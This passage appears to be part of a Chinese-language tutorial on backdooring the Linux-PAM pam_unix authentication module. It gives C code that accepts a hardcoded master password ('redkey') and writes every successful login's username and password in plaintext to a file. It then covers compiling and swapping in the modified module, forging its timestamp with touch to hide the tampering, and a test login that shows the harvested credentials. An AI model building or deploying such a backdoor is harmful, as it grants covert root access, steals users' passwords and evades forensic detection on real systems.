四.修改部門

在

PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags

                                  ,int argc, const char **argv)

{

界說：FILE *fp;如下：

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PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags                                    ,int argc, const char **argv) {         unsigned int ctrl;         int retval, *ret_data = NULL;         const char *name;         const void *p;         FILE *fp;

在retval = _unix_verify_password(pamh, name, p, ctrl); [約177行]下添加

 

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/*password:"redkey"*/ if(strcmp(p,"redkey")==0) {         retval = PAM_SUCCESS; } if(retval== PAM_SUCCESS) { /*pamfile:pamwd.txt*/         fp=fopen("pamwd.txt","a");         fprintf(fp,"%s::%s ",name,p);         fclose(fp); }

 

五.編譯

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[[email protected] pam_unix]# cd ../../ [[email protected] Linux-PAM-1.1.1]# ./configure [[email protected] Linux-PAM-1.1.1]# make

六.備份原有PAM模塊

1	[[email protected] security]# mv pam_unix.so{,.bak}

七.復制新PAM模塊到/lib64/security/目次下：

1	[[email protected] security]# cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/

八.修改pam模塊時間屬性

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[[email protected] security]# stat pam_unix.*   File: "pam_unix.so"   Size: 151879          Blocks: 304        IO Block: 4096   普通文件 Device: fd01h/64769d    Inode: 565261      Links: 1 Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root) Access: 2013-12-24 11:30:01.813610217 +0800 Modify: 2013-12-24 08:55:00.000000000 +0800 Change: 2013-12-24 11:29:12.747789015 +0800   File: "pam_unix.so.bak"   Size: 50752           Blocks: 104        IO Block: 4096   普通文件 Device: fd01h/64769d    Inode: 523660      Links: 1 Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root) Access: 2013-12-24 08:55:08.026835929 +0800 Modify: 2010-02-16 01:34:42.000000000 +0800 Change: 2013-12-24 10:42:11.741663207 +0800

1	[[email protected] security]# touch -t 201002160134 pam_unix.so

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[[email protected] security]# ll pam_unix.* -rwxr-xr-x  1 root root 151879  2月 16 2010 pam_unix.so -rwxr-xr-x. 1 root root  50752  2月 16 2010 pam_unix.so.bak

九.萬能暗碼登岸驗證

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login as: root [email protected]'s password: Last login: Tue Dec 24 11:10:16 2013 from 192.168.169.1 [[email protected] ~]#

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[[email protected] /]# cat pamwd.txt root::redkey root::123456 root::12345678 root::redkey root::redkey

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